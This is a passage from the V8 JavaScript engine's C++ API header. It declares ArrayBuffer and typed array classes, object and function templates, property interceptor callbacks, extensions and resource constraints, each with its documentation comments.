* Returns true if ArrayBuffer is extrenalized, that is, does not
* own its memory block.
*/
bool IsExternal() const;
/**
* Returns true if this ArrayBuffer may be neutered.
*/
bool IsNeuterable() const;
/**
* Neuters this ArrayBuffer and all its views (typed arrays).
* Neutering sets the byte length of the buffer and all typed arrays to zero,
* preventing JavaScript from ever accessing underlying backing store.
* ArrayBuffer should have been externalized and must be neuterable.
*/
void Neuter();
/**
* Make this ArrayBuffer external. The pointer to underlying memory block
* and byte length are returned as |Contents| structure. After ArrayBuffer
* had been etxrenalized, it does no longer owns the memory block. The caller
* should take steps to free memory when it is no longer needed.
*
* The memory block is guaranteed to be allocated with |Allocator::Allocate|
* that has been set with V8::SetArrayBufferAllocator.
*/
Contents Externalize();
V8_INLINE static ArrayBuffer* Cast(Value* obj);
static const int kInternalFieldCount = V8_ARRAY_BUFFER_INTERNAL_FIELD_COUNT;
private:
ArrayBuffer();
static void CheckCast(Value* obj);
};
#ifndef V8_ARRAY_BUFFER_VIEW_INTERNAL_FIELD_COUNT
// The number of required internal fields can be defined by embedder.
#define V8_ARRAY_BUFFER_VIEW_INTERNAL_FIELD_COUNT 2
#endif
/**
* A base class for an instance of one of "views" over ArrayBuffer,
* including TypedArrays and DataView (ES6 draft 15.13).
*
* This API is experimental and may change significantly.
*/
class V8_EXPORT ArrayBufferView : public Object {
public:
/**
* Returns underlying ArrayBuffer.
*/
Local<ArrayBuffer> Buffer();
/**
* Byte offset in |Buffer|.
*/
size_t ByteOffset();
/**
* Size of a view in bytes.
*/
size_t ByteLength();
V8_INLINE static ArrayBufferView* Cast(Value* obj);
static const int kInternalFieldCount =
V8_ARRAY_BUFFER_VIEW_INTERNAL_FIELD_COUNT;
private:
ArrayBufferView();
static void CheckCast(Value* obj);
};
/**
* A base class for an instance of TypedArray series of constructors
* (ES6 draft 15.13.6).
* This API is experimental and may change significantly.
*/
class V8_EXPORT TypedArray : public ArrayBufferView {
public:
/**
* Number of elements in this typed array
* (e.g. for Int16Array, |ByteLength|/2).
*/
size_t Length();
V8_INLINE static TypedArray* Cast(Value* obj);
private:
TypedArray();
static void CheckCast(Value* obj);
};
/**
* An instance of Uint8Array constructor (ES6 draft 15.13.6).
* This API is experimental and may change significantly.
*/
class V8_EXPORT Uint8Array : public TypedArray {
public:
static Local<Uint8Array> New(Handle<ArrayBuffer> array_buffer,
size_t byte_offset, size_t length);
V8_INLINE static Uint8Array* Cast(Value* obj);
private:
Uint8Array();
static void CheckCast(Value* obj);
};
/**
* An instance of Uint8ClampedArray constructor (ES6 draft 15.13.6).
* This API is experimental and may change significantly.
*/
class V8_EXPORT Uint8ClampedArray : public TypedArray {
public:
static Local<Uint8ClampedArray> New(Handle<ArrayBuffer> array_buffer,
size_t byte_offset, size_t length);
V8_INLINE static Uint8ClampedArray* Cast(Value* obj);
private:
Uint8ClampedArray();
static void CheckCast(Value* obj);
};
/**
* An instance of Int8Array constructor (ES6 draft 15.13.6).
* This API is experimental and may change significantly.
*/
class V8_EXPORT Int8Array : public TypedArray {
public:
static Local<Int8Array> New(Handle<ArrayBuffer> array_buffer,
size_t byte_offset, size_t length);
V8_INLINE static Int8Array* Cast(Value* obj);
private:
Int8Array();
static void CheckCast(Value* obj);
};
/**
* An instance of Uint16Array constructor (ES6 draft 15.13.6).
* This API is experimental and may change significantly.
*/
class V8_EXPORT Uint16Array : public TypedArray {
public:
static Local<Uint16Array> New(Handle<ArrayBuffer> array_buffer,
size_t byte_offset, size_t length);
V8_INLINE static Uint16Array* Cast(Value* obj);
private:
Uint16Array();
static void CheckCast(Value* obj);
};
/**
* An instance of Int16Array constructor (ES6 draft 15.13.6).
* This API is experimental and may change significantly.
*/
class V8_EXPORT Int16Array : public TypedArray {
public:
static Local<Int16Array> New(Handle<ArrayBuffer> array_buffer,
size_t byte_offset, size_t length);
V8_INLINE static Int16Array* Cast(Value* obj);
private:
Int16Array();
static void CheckCast(Value* obj);
};
/**
* An instance of Uint32Array constructor (ES6 draft 15.13.6).
* This API is experimental and may change significantly.
*/
class V8_EXPORT Uint32Array : public TypedArray {
public:
static Local<Uint32Array> New(Handle<ArrayBuffer> array_buffer,
size_t byte_offset, size_t length);
V8_INLINE static Uint32Array* Cast(Value* obj);
private:
Uint32Array();
static void CheckCast(Value* obj);
};
/**
* An instance of Int32Array constructor (ES6 draft 15.13.6).
* This API is experimental and may change significantly.
*/
class V8_EXPORT Int32Array : public TypedArray {
public:
static Local<Int32Array> New(Handle<ArrayBuffer> array_buffer,
size_t byte_offset, size_t length);
V8_INLINE static Int32Array* Cast(Value* obj);
private:
Int32Array();
static void CheckCast(Value* obj);
};
/**
* An instance of Float32Array constructor (ES6 draft 15.13.6).
* This API is experimental and may change significantly.
*/
class V8_EXPORT Float32Array : public TypedArray {
public:
static Local<Float32Array> New(Handle<ArrayBuffer> array_buffer,
size_t byte_offset, size_t length);
V8_INLINE static Float32Array* Cast(Value* obj);
private:
Float32Array();
static void CheckCast(Value* obj);
};
/**
* An instance of Float64Array constructor (ES6 draft 15.13.6).
* This API is experimental and may change significantly.
*/
class V8_EXPORT Float64Array : public TypedArray {
public:
static Local<Float64Array> New(Handle<ArrayBuffer> array_buffer,
size_t byte_offset, size_t length);
V8_INLINE static Float64Array* Cast(Value* obj);
private:
Float64Array();
static void CheckCast(Value* obj);
};
/**
* An instance of DataView constructor (ES6 draft 15.13.7).
* This API is experimental and may change significantly.
*/
class V8_EXPORT DataView : public ArrayBufferView {
public:
static Local<DataView> New(Handle<ArrayBuffer> array_buffer,
size_t byte_offset, size_t length);
V8_INLINE static DataView* Cast(Value* obj);
private:
DataView();
static void CheckCast(Value* obj);
};
/**
* An instance of the built-in Date constructor (ECMA-262, 15.9).
*/
class V8_EXPORT Date : public Object {
public:
static V8_DEPRECATE_SOON("Use maybe version.",
Local<Value> New(Isolate* isolate, double time));
static MaybeLocal<Value> New(Local<Context> context, double time);
/**
* A specialization of Value::NumberValue that is more efficient
* because we know the structure of this object.
*/
double ValueOf() const;
V8_INLINE static Date* Cast(v8::Value* obj);
/**
* Notification that the embedder has changed the time zone,
* daylight savings time, or other date / time configuration
* parameters. V8 keeps a cache of various values used for
* date / time computation. This notification will reset
* those cached values for the current context so that date /
* time configuration changes would be reflected in the Date
* object.
*
* This API should not be called more than needed as it will
* negatively impact the performance of date operations.
*/
static void DateTimeConfigurationChangeNotification(Isolate* isolate);
private:
static void CheckCast(v8::Value* obj);
};
/**
* A Number object (ECMA-262, 4.3.21).
*/
class V8_EXPORT NumberObject : public Object {
public:
static Local<Value> New(Isolate* isolate, double value);
double ValueOf() const;
V8_INLINE static NumberObject* Cast(v8::Value* obj);
private:
static void CheckCast(v8::Value* obj);
};
/**
* A Boolean object (ECMA-262, 4.3.15).
*/
class V8_EXPORT BooleanObject : public Object {
public:
static Local<Value> New(bool value);
bool ValueOf() const;
V8_INLINE static BooleanObject* Cast(v8::Value* obj);
private:
static void CheckCast(v8::Value* obj);
};
/**
* A String object (ECMA-262, 4.3.18).
*/
class V8_EXPORT StringObject : public Object {
public:
static Local<Value> New(Handle<String> value);
Local<String> ValueOf() const;
V8_INLINE static StringObject* Cast(v8::Value* obj);
private:
static void CheckCast(v8::Value* obj);
};
/**
* A Symbol object (ECMA-262 edition 6).
*
* This is an experimental feature. Use at your own risk.
*/
class V8_EXPORT SymbolObject : public Object {
public:
static Local<Value> New(Isolate* isolate, Handle<Symbol> value);
Local<Symbol> ValueOf() const;
V8_INLINE static SymbolObject* Cast(v8::Value* obj);
private:
static void CheckCast(v8::Value* obj);
};
/**
* An instance of the built-in RegExp constructor (ECMA-262, 15.10).
*/
class V8_EXPORT RegExp : public Object {
public:
/**
* Regular expression flag bits. They can be or'ed to enable a set
* of flags.
*/
enum Flags {
kNone = 0,
kGlobal = 1,
kIgnoreCase = 2,
kMultiline = 4
};
/**
* Creates a regular expression from the given pattern string and
* the flags bit field. May throw a JavaScript exception as
* described in ECMA-262, 15.10.4.1.
*
* For example,
* RegExp::New(v8::String::New("foo"),
* static_cast<RegExp::Flags>(kGlobal | kMultiline))
* is equivalent to evaluating "/foo/gm".
*/
static V8_DEPRECATE_SOON("Use maybe version",
Local<RegExp> New(Handle<String> pattern,
Flags flags));
static MaybeLocal<RegExp> New(Local<Context> context, Handle<String> pattern,
Flags flags);
/**
* Returns the value of the source property: a string representing
* the regular expression.
*/
Local<String> GetSource() const;
/**
* Returns the flags bit field.
*/
Flags GetFlags() const;
V8_INLINE static RegExp* Cast(v8::Value* obj);
private:
static void CheckCast(v8::Value* obj);
};
/**
* A JavaScript value that wraps a C++ void*. This type of value is mainly used
* to associate C++ data structures with JavaScript objects.
*/
class V8_EXPORT External : public Value {
public:
static Local<External> New(Isolate* isolate, void* value);
V8_INLINE static External* Cast(Value* obj);
void* Value() const;
private:
static void CheckCast(v8::Value* obj);
};
// --- Templates ---
/**
* The superclass of object and function templates.
*/
class V8_EXPORT Template : public Data {
public:
/** Adds a property to each instance created by this template.*/
void Set(Handle<Name> name, Handle<Data> value,
PropertyAttribute attributes = None);
V8_INLINE void Set(Isolate* isolate, const char* name, Handle<Data> value);
void SetAccessorProperty(
Local<Name> name,
Local<FunctionTemplate> getter = Local<FunctionTemplate>(),
Local<FunctionTemplate> setter = Local<FunctionTemplate>(),
PropertyAttribute attribute = None,
AccessControl settings = DEFAULT);
/**
* Whenever the property with the given name is accessed on objects
* created from this Template the getter and setter callbacks
* are called instead of getting and setting the property directly
* on the JavaScript object.
*
* \param name The name of the property for which an accessor is added.
* \param getter The callback to invoke when getting the property.
* \param setter The callback to invoke when setting the property.
* \param data A piece of data that will be passed to the getter and setter
* callbacks whenever they are invoked.
* \param settings Access control settings for the accessor. This is a bit
* field consisting of one of more of
* DEFAULT = 0, ALL_CAN_READ = 1, or ALL_CAN_WRITE = 2.
* The default is to not allow cross-context access.
* ALL_CAN_READ means that all cross-context reads are allowed.
* ALL_CAN_WRITE means that all cross-context writes are allowed.
* The combination ALL_CAN_READ | ALL_CAN_WRITE can be used to allow all
* cross-context access.
* \param attribute The attributes of the property for which an accessor
* is added.
* \param signature The signature describes valid receivers for the accessor
* and is used to perform implicit instance checks against them. If the
* receiver is incompatible (i.e. is not an instance of the constructor as
* defined by FunctionTemplate::HasInstance()), an implicit TypeError is
* thrown and no callback is invoked.
*/
void SetNativeDataProperty(Local<String> name,
AccessorGetterCallback getter,
AccessorSetterCallback setter = 0,
// TODO(dcarney): gcc can't handle Local below
Handle<Value> data = Handle<Value>(),
PropertyAttribute attribute = None,
Local<AccessorSignature> signature =
Local<AccessorSignature>(),
AccessControl settings = DEFAULT);
void SetNativeDataProperty(Local<Name> name,
AccessorNameGetterCallback getter,
AccessorNameSetterCallback setter = 0,
// TODO(dcarney): gcc can't handle Local below
Handle<Value> data = Handle<Value>(),
PropertyAttribute attribute = None,
Local<AccessorSignature> signature =
Local<AccessorSignature>(),
AccessControl settings = DEFAULT);
private:
Template();
friend class ObjectTemplate;
friend class FunctionTemplate;
};
/**
* NamedProperty[Getter|Setter] are used as interceptors on object.
* See ObjectTemplate::SetNamedPropertyHandler.
*/
typedef void (*NamedPropertyGetterCallback)(
Local<String> property,
const PropertyCallbackInfo<Value>& info);
/**
* Returns the value if the setter intercepts the request.
* Otherwise, returns an empty handle.
*/
typedef void (*NamedPropertySetterCallback)(
Local<String> property,
Local<Value> value,
const PropertyCallbackInfo<Value>& info);
/**
* Returns a non-empty handle if the interceptor intercepts the request.
* The result is an integer encoding property attributes (like v8::None,
* v8::DontEnum, etc.)
*/
typedef void (*NamedPropertyQueryCallback)(
Local<String> property,
const PropertyCallbackInfo<Integer>& info);
/**
* Returns a non-empty handle if the deleter intercepts the request.
* The return value is true if the property could be deleted and false
* otherwise.
*/
typedef void (*NamedPropertyDeleterCallback)(
Local<String> property,
const PropertyCallbackInfo<Boolean>& info);
/**
* Returns an array containing the names of the properties the named
* property getter intercepts.
*/
typedef void (*NamedPropertyEnumeratorCallback)(
const PropertyCallbackInfo<Array>& info);
// TODO(dcarney): Deprecate and remove previous typedefs, and replace
// GenericNamedPropertyFooCallback with just NamedPropertyFooCallback.
/**
* GenericNamedProperty[Getter|Setter] are used as interceptors on object.
* See ObjectTemplate::SetNamedPropertyHandler.
*/
typedef void (*GenericNamedPropertyGetterCallback)(
Local<Name> property, const PropertyCallbackInfo<Value>& info);
/**
* Returns the value if the setter intercepts the request.
* Otherwise, returns an empty handle.
*/
typedef void (*GenericNamedPropertySetterCallback)(
Local<Name> property, Local<Value> value,
const PropertyCallbackInfo<Value>& info);
/**
* Returns a non-empty handle if the interceptor intercepts the request.
* The result is an integer encoding property attributes (like v8::None,
* v8::DontEnum, etc.)
*/
typedef void (*GenericNamedPropertyQueryCallback)(
Local<Name> property, const PropertyCallbackInfo<Integer>& info);
/**
* Returns a non-empty handle if the deleter intercepts the request.
* The return value is true if the property could be deleted and false
* otherwise.
*/
typedef void (*GenericNamedPropertyDeleterCallback)(
Local<Name> property, const PropertyCallbackInfo<Boolean>& info);
/**
* Returns an array containing the names of the properties the named
* property getter intercepts.
*/
typedef void (*GenericNamedPropertyEnumeratorCallback)(
const PropertyCallbackInfo<Array>& info);
/**
* Returns the value of the property if the getter intercepts the
* request. Otherwise, returns an empty handle.
*/
typedef void (*IndexedPropertyGetterCallback)(
uint32_t index,
const PropertyCallbackInfo<Value>& info);
/**
* Returns the value if the setter intercepts the request.
* Otherwise, returns an empty handle.
*/
typedef void (*IndexedPropertySetterCallback)(
uint32_t index,
Local<Value> value,
const PropertyCallbackInfo<Value>& info);
/**
* Returns a non-empty handle if the interceptor intercepts the request.
* The result is an integer encoding property attributes.
*/
typedef void (*IndexedPropertyQueryCallback)(
uint32_t index,
const PropertyCallbackInfo<Integer>& info);
/**
* Returns a non-empty handle if the deleter intercepts the request.
* The return value is true if the property could be deleted and false
* otherwise.
*/
typedef void (*IndexedPropertyDeleterCallback)(
uint32_t index,
const PropertyCallbackInfo<Boolean>& info);
/**
* Returns an array containing the indices of the properties the
* indexed property getter intercepts.
*/
typedef void (*IndexedPropertyEnumeratorCallback)(
const PropertyCallbackInfo<Array>& info);
/**
* Access type specification.
*/
enum AccessType {
ACCESS_GET,
ACCESS_SET,
ACCESS_HAS,
ACCESS_DELETE,
ACCESS_KEYS
};
/**
* Returns true if cross-context access should be allowed to the named
* property with the given key on the host object.
*/
typedef bool (*NamedSecurityCallback)(Local<Object> host,
Local<Value> key,
AccessType type,
Local<Value> data);
/**
* Returns true if cross-context access should be allowed to the indexed
* property with the given index on the host object.
*/
typedef bool (*IndexedSecurityCallback)(Local<Object> host,
uint32_t index,
AccessType type,
Local<Value> data);
/**
* A FunctionTemplate is used to create functions at runtime. There
* can only be one function created from a FunctionTemplate in a
* context. The lifetime of the created function is equal to the
* lifetime of the context. So in case the embedder needs to create
* temporary functions that can be collected using Scripts is
* preferred.
*
* Any modification of a FunctionTemplate after first instantiation will trigger
*a crash.
*
* A FunctionTemplate can have properties, these properties are added to the
* function object when it is created.
*
* A FunctionTemplate has a corresponding instance template which is
* used to create object instances when the function is used as a
* constructor. Properties added to the instance template are added to
* each object instance.
*
* A FunctionTemplate can have a prototype template. The prototype template
* is used to create the prototype object of the function.
*
* The following example shows how to use a FunctionTemplate:
*
* \code
* v8::Local<v8::FunctionTemplate> t = v8::FunctionTemplate::New();
* t->Set("func_property", v8::Number::New(1));
*
* v8::Local<v8::Template> proto_t = t->PrototypeTemplate();
* proto_t->Set("proto_method", v8::FunctionTemplate::New(InvokeCallback));
* proto_t->Set("proto_const", v8::Number::New(2));
*
* v8::Local<v8::ObjectTemplate> instance_t = t->InstanceTemplate();
* instance_t->SetAccessor("instance_accessor", InstanceAccessorCallback);
* instance_t->SetNamedPropertyHandler(PropertyHandlerCallback, ...);
* instance_t->Set("instance_property", Number::New(3));
*
* v8::Local<v8::Function> function = t->GetFunction();
* v8::Local<v8::Object> instance = function->NewInstance();
* \endcode
*
* Let's use "function" as the JS variable name of the function object
* and "instance" for the instance object created above. The function
* and the instance will have the following properties:
*
* \code
* func_property in function == true;
* function.func_property == 1;
*
* function.prototype.proto_method() invokes 'InvokeCallback'
* function.prototype.proto_const == 2;
*
* instance instanceof function == true;
* instance.instance_accessor calls 'InstanceAccessorCallback'
* instance.instance_property == 3;
* \endcode
*
* A FunctionTemplate can inherit from another one by calling the
* FunctionTemplate::Inherit method. The following graph illustrates
* the semantics of inheritance:
*
* \code
* FunctionTemplate Parent -> Parent() . prototype -> { }
* ^ ^
* | Inherit(Parent) | .__proto__
* | |
* FunctionTemplate Child -> Child() . prototype -> { }
* \endcode
*
* A FunctionTemplate 'Child' inherits from 'Parent', the prototype
* object of the Child() function has __proto__ pointing to the
* Parent() function's prototype object. An instance of the Child
* function has all properties on Parent's instance templates.
*
* Let Parent be the FunctionTemplate initialized in the previous
* section and create a Child FunctionTemplate by:
*
* \code
* Local<FunctionTemplate> parent = t;
* Local<FunctionTemplate> child = FunctionTemplate::New();
* child->Inherit(parent);
*
* Local<Function> child_function = child->GetFunction();
* Local<Object> child_instance = child_function->NewInstance();
* \endcode
*
* The Child function and Child instance will have the following
* properties:
*
* \code
* child_func.prototype.__proto__ == function.prototype;
* child_instance.instance_accessor calls 'InstanceAccessorCallback'
* child_instance.instance_property == 3;
* \endcode
*/
class V8_EXPORT FunctionTemplate : public Template {
public:
/** Creates a function template.*/
static Local<FunctionTemplate> New(
Isolate* isolate,
FunctionCallback callback = 0,
Handle<Value> data = Handle<Value>(),
Handle<Signature> signature = Handle<Signature>(),
int length = 0);
/** Returns the unique function instance in the current execution context.*/
V8_DEPRECATE_SOON("Use maybe version", Local<Function> GetFunction());
MaybeLocal<Function> GetFunction(Local<Context> context);
/**
* Set the call-handler callback for a FunctionTemplate. This
* callback is called whenever the function created from this
* FunctionTemplate is called.
*/
void SetCallHandler(FunctionCallback callback,
Handle<Value> data = Handle<Value>());
/** Set the predefined length property for the FunctionTemplate. */
void SetLength(int length);
/** Get the InstanceTemplate. */
Local<ObjectTemplate> InstanceTemplate();
/** Causes the function template to inherit from a parent function template.*/
void Inherit(Handle<FunctionTemplate> parent);
/**
* A PrototypeTemplate is the template used to create the prototype object
* of the function created by this template.
*/
Local<ObjectTemplate> PrototypeTemplate();
/**
* Set the class name of the FunctionTemplate. This is used for
* printing objects created with the function created from the
* FunctionTemplate as its constructor.
*/
void SetClassName(Handle<String> name);
/**
* When set to true, no access check will be performed on the receiver of a
* function call. Currently defaults to true, but this is subject to change.
*/
void SetAcceptAnyReceiver(bool value);
/**
* Determines whether the __proto__ accessor ignores instances of
* the function template. If instances of the function template are
* ignored, __proto__ skips all instances and instead returns the
* next object in the prototype chain.
*
* Call with a value of true to make the __proto__ accessor ignore
* instances of the function template. Call with a value of false
* to make the __proto__ accessor not ignore instances of the
* function template. By default, instances of a function template
* are not ignored.
*/
void SetHiddenPrototype(bool value);
/**
* Sets the ReadOnly flag in the attributes of the 'prototype' property
* of functions created from this FunctionTemplate to true.
*/
void ReadOnlyPrototype();
/**
* Removes the prototype property from functions created from this
* FunctionTemplate.
*/
void RemovePrototype();
/**
* Returns true if the given object is an instance of this function
* template.
*/
bool HasInstance(Handle<Value> object);
private:
FunctionTemplate();
friend class Context;
friend class ObjectTemplate;
};
enum class PropertyHandlerFlags {
kNone = 0,
// See ALL_CAN_READ above.
kAllCanRead = 1,
// Will not call into interceptor for properties on the receiver or prototype
// chain. Currently only valid for named interceptors.
kNonMasking = 1 << 1,
// Will not call into interceptor for symbol lookup. Only meaningful for
// named interceptors.
kOnlyInterceptStrings = 1 << 2,
};
struct NamedPropertyHandlerConfiguration {
NamedPropertyHandlerConfiguration(
/** Note: getter is required **/
GenericNamedPropertyGetterCallback getter = 0,
GenericNamedPropertySetterCallback setter = 0,
GenericNamedPropertyQueryCallback query = 0,
GenericNamedPropertyDeleterCallback deleter = 0,
GenericNamedPropertyEnumeratorCallback enumerator = 0,
Handle<Value> data = Handle<Value>(),
PropertyHandlerFlags flags = PropertyHandlerFlags::kNone)
: getter(getter),
setter(setter),
query(query),
deleter(deleter),
enumerator(enumerator),
data(data),
flags(flags) {}
GenericNamedPropertyGetterCallback getter;
GenericNamedPropertySetterCallback setter;
GenericNamedPropertyQueryCallback query;
GenericNamedPropertyDeleterCallback deleter;
GenericNamedPropertyEnumeratorCallback enumerator;
Handle<Value> data;
PropertyHandlerFlags flags;
};
struct IndexedPropertyHandlerConfiguration {
IndexedPropertyHandlerConfiguration(
/** Note: getter is required **/
IndexedPropertyGetterCallback getter = 0,
IndexedPropertySetterCallback setter = 0,
IndexedPropertyQueryCallback query = 0,
IndexedPropertyDeleterCallback deleter = 0,
IndexedPropertyEnumeratorCallback enumerator = 0,
Handle<Value> data = Handle<Value>(),
PropertyHandlerFlags flags = PropertyHandlerFlags::kNone)
: getter(getter),
setter(setter),
query(query),
deleter(deleter),
enumerator(enumerator),
data(data),
flags(flags) {}
IndexedPropertyGetterCallback getter;
IndexedPropertySetterCallback setter;
IndexedPropertyQueryCallback query;
IndexedPropertyDeleterCallback deleter;
IndexedPropertyEnumeratorCallback enumerator;
Handle<Value> data;
PropertyHandlerFlags flags;
};
/**
* An ObjectTemplate is used to create objects at runtime.
*
* Properties added to an ObjectTemplate are added to each object
* created from the ObjectTemplate.
*/
class V8_EXPORT ObjectTemplate : public Template {
public:
/** Creates an ObjectTemplate. */
static Local<ObjectTemplate> New(Isolate* isolate);
static V8_DEPRECATE_SOON("Use isolate version", Local<ObjectTemplate> New());
/** Creates a new instance of this template.*/
V8_DEPRECATE_SOON("Use maybe version", Local<Object> NewInstance());
MaybeLocal<Object> NewInstance(Local<Context> context);
/**
* Sets an accessor on the object template.
*
* Whenever the property with the given name is accessed on objects
* created from this ObjectTemplate the getter and setter callbacks
* are called instead of getting and setting the property directly
* on the JavaScript object.
*
* \param name The name of the property for which an accessor is added.
* \param getter The callback to invoke when getting the property.
* \param setter The callback to invoke when setting the property.
* \param data A piece of data that will be passed to the getter and setter
* callbacks whenever they are invoked.
* \param settings Access control settings for the accessor. This is a bit
* field consisting of one of more of
* DEFAULT = 0, ALL_CAN_READ = 1, or ALL_CAN_WRITE = 2.
* The default is to not allow cross-context access.
* ALL_CAN_READ means that all cross-context reads are allowed.
* ALL_CAN_WRITE means that all cross-context writes are allowed.
* The combination ALL_CAN_READ | ALL_CAN_WRITE can be used to allow all
* cross-context access.
* \param attribute The attributes of the property for which an accessor
* is added.
* \param signature The signature describes valid receivers for the accessor
* and is used to perform implicit instance checks against them. If the
* receiver is incompatible (i.e. is not an instance of the constructor as
* defined by FunctionTemplate::HasInstance()), an implicit TypeError is
* thrown and no callback is invoked.
*/
void SetAccessor(Handle<String> name,
AccessorGetterCallback getter,
AccessorSetterCallback setter = 0,
Handle<Value> data = Handle<Value>(),
AccessControl settings = DEFAULT,
PropertyAttribute attribute = None,
Handle<AccessorSignature> signature =
Handle<AccessorSignature>());
void SetAccessor(Handle<Name> name,
AccessorNameGetterCallback getter,
AccessorNameSetterCallback setter = 0,
Handle<Value> data = Handle<Value>(),
AccessControl settings = DEFAULT,
PropertyAttribute attribute = None,
Handle<AccessorSignature> signature =
Handle<AccessorSignature>());
/**
* Sets a named property handler on the object template.
*
* Whenever a property whose name is a string is accessed on objects created
* from this object template, the provided callback is invoked instead of
* accessing the property directly on the JavaScript object.
*
* Note that new code should use the second version that can intercept
* symbol-named properties as well as string-named properties.
*
* \param getter The callback to invoke when getting a property.
* \param setter The callback to invoke when setting a property.
* \param query The callback to invoke to check if a property is present,
* and if present, get its attributes.
* \param deleter The callback to invoke when deleting a property.
* \param enumerator The callback to invoke to enumerate all the named
* properties of an object.
* \param data A piece of data that will be passed to the callbacks
* whenever they are invoked.
*/
// TODO(dcarney): deprecate
void SetNamedPropertyHandler(
NamedPropertyGetterCallback getter,
NamedPropertySetterCallback setter = 0,
NamedPropertyQueryCallback query = 0,
NamedPropertyDeleterCallback deleter = 0,
NamedPropertyEnumeratorCallback enumerator = 0,
Handle<Value> data = Handle<Value>());
void SetHandler(const NamedPropertyHandlerConfiguration& configuration);
/**
* Sets an indexed property handler on the object template.
*
* Whenever an indexed property is accessed on objects created from
* this object template, the provided callback is invoked instead of
* accessing the property directly on the JavaScript object.
*
* \param getter The callback to invoke when getting a property.
* \param setter The callback to invoke when setting a property.
* \param query The callback to invoke to check if an object has a property.
* \param deleter The callback to invoke when deleting a property.
* \param enumerator The callback to invoke to enumerate all the indexed
* properties of an object.
* \param data A piece of data that will be passed to the callbacks
* whenever they are invoked.
*/
void SetHandler(const IndexedPropertyHandlerConfiguration& configuration);
// TODO(dcarney): deprecate
void SetIndexedPropertyHandler(
IndexedPropertyGetterCallback getter,
IndexedPropertySetterCallback setter = 0,
IndexedPropertyQueryCallback query = 0,
IndexedPropertyDeleterCallback deleter = 0,
IndexedPropertyEnumeratorCallback enumerator = 0,
Handle<Value> data = Handle<Value>()) {
SetHandler(IndexedPropertyHandlerConfiguration(getter, setter, query,
deleter, enumerator, data));
}
/**
* Sets the callback to be used when calling instances created from
* this template as a function. If no callback is set, instances
* behave like normal JavaScript objects that cannot be called as a
* function.
*/
void SetCallAsFunctionHandler(FunctionCallback callback,
Handle<Value> data = Handle<Value>());
/**
* Mark object instances of the template as undetectable.
*
* In many ways, undetectable objects behave as though they are not
* there. They behave like 'undefined' in conditionals and when
* printed. However, properties can be accessed and called as on
* normal objects.
*/
void MarkAsUndetectable();
/**
* Sets access check callbacks on the object template.
*
* When accessing properties on instances of this object template,
* the access check callback will be called to determine whether or
* not to allow cross-context access to the properties.
* The last parameter specifies whether access checks are turned
* on by default on instances. If access checks are off by default,
* they can be turned on on individual instances by calling
* Object::TurnOnAccessCheck().
*/
void SetAccessCheckCallbacks(NamedSecurityCallback named_handler,
IndexedSecurityCallback indexed_handler,
Handle<Value> data = Handle<Value>(),
bool turned_on_by_default = true);
/**
* Gets the number of internal fields for objects generated from
* this template.
*/
int InternalFieldCount();
/**
* Sets the number of internal fields for objects generated from
* this template.
*/
void SetInternalFieldCount(int value);
private:
ObjectTemplate();
static Local<ObjectTemplate> New(internal::Isolate* isolate,
Handle<FunctionTemplate> constructor);
friend class FunctionTemplate;
};
/**
* A Signature specifies which receiver is valid for a function.
*/
class V8_EXPORT Signature : public Data {
public:
static Local<Signature> New(
Isolate* isolate,
Handle<FunctionTemplate> receiver = Handle<FunctionTemplate>());
private:
Signature();
};
/**
* An AccessorSignature specifies which receivers are valid parameters
* to an accessor callback.
*/
class V8_EXPORT AccessorSignature : public Data {
public:
static Local<AccessorSignature> New(Isolate* isolate,
Handle<FunctionTemplate> receiver =
Handle<FunctionTemplate>());
private:
AccessorSignature();
};
/**
* A utility for determining the type of objects based on the template
* they were constructed from.
*/
class V8_EXPORT TypeSwitch : public Data {
public:
static Local<TypeSwitch> New(Handle<FunctionTemplate> type);
static Local<TypeSwitch> New(int argc, Handle<FunctionTemplate> types[]);
int match(Handle<Value> value);
private:
TypeSwitch();
};
// --- Extensions ---
class V8_EXPORT ExternalOneByteStringResourceImpl
: public String::ExternalOneByteStringResource {
public:
ExternalOneByteStringResourceImpl() : data_(0), length_(0) {}
ExternalOneByteStringResourceImpl(const char* data, size_t length)
: data_(data), length_(length) {}
const char* data() const { return data_; }
size_t length() const { return length_; }
private:
const char* data_;
size_t length_;
};
/**
* Ignore
*/
class V8_EXPORT Extension { // NOLINT
public:
// Note that the strings passed into this constructor must live as long
// as the Extension itself.
Extension(const char* name,
const char* source = 0,
int dep_count = 0,
const char** deps = 0,
int source_length = -1);
virtual ~Extension() { }
virtual v8::Handle<v8::FunctionTemplate> GetNativeFunctionTemplate(
v8::Isolate* isolate, v8::Handle<v8::String> name) {
return v8::Handle<v8::FunctionTemplate>();
}
const char* name() const { return name_; }
size_t source_length() const { return source_length_; }
const String::ExternalOneByteStringResource* source() const {
return &source_; }
int dependency_count() { return dep_count_; }
const char** dependencies() { return deps_; }
void set_auto_enable(bool value) { auto_enable_ = value; }
bool auto_enable() { return auto_enable_; }
private:
const char* name_;
size_t source_length_; // expected to initialize before source_
ExternalOneByteStringResourceImpl source_;
int dep_count_;
const char** deps_;
bool auto_enable_;
// Disallow copying and assigning.
Extension(const Extension&);
void operator=(const Extension&);
};
void V8_EXPORT RegisterExtension(Extension* extension);
// --- Statics ---
V8_INLINE Handle<Primitive> Undefined(Isolate* isolate);
V8_INLINE Handle<Primitive> Null(Isolate* isolate);
V8_INLINE Handle<Boolean> True(Isolate* isolate);
V8_INLINE Handle<Boolean> False(Isolate* isolate);
/**
* A set of constraints that specifies the limits of the runtime's memory use.
* You must set the heap size before initializing the VM - the size cannot be
* adjusted after the VM is initialized.
*
* If you are using threads then you should hold the V8::Locker lock while
* setting the stack limit and you must set a non-default stack limit separately
* for each thread.
*/
class V8_EXPORT ResourceConstraints {
public:
ResourceConstraints();
/**
* Configures the constraints with reasonable default values based on the
* capabilities of the current device the VM is running on.
*
* \param physical_memory The total amount of physical memory on the current
* device, in bytes.
* \param virtual_memory_limit The amount of virtual memory on the current
* device, in bytes, or zero, if there is no limit.
* \param number_of_processors The number of CPUs available on the current
* device.
*/
void ConfigureDefaults(uint64_t physical_memory,
uint64_t virtual_memory_limit,
uint32_t number_of_processors);
int max_semi_space_size() const { return max_semi_space_size_; }
void set_max_semi_space_size(int value) { max_semi_space_size_ = value; }
int max_old_space_size() const { return max_old_space_size_; }
void set_max_old_space_size(int value) { max_old_space_size_ = value; }
int max_executable_size() const { return max_executable_size_; }
void set_max_executable_size(int value) { max_executable_size_ = value; }
uint32_t* stack_limit() const { return stack_limit_; }
// Sets an address beyond which the VM's stack may not grow.
void set_stack_limit(uint32_t* value) { stack_limit_ = value; }
int max_available_threads() const { return max_available_threads_; }
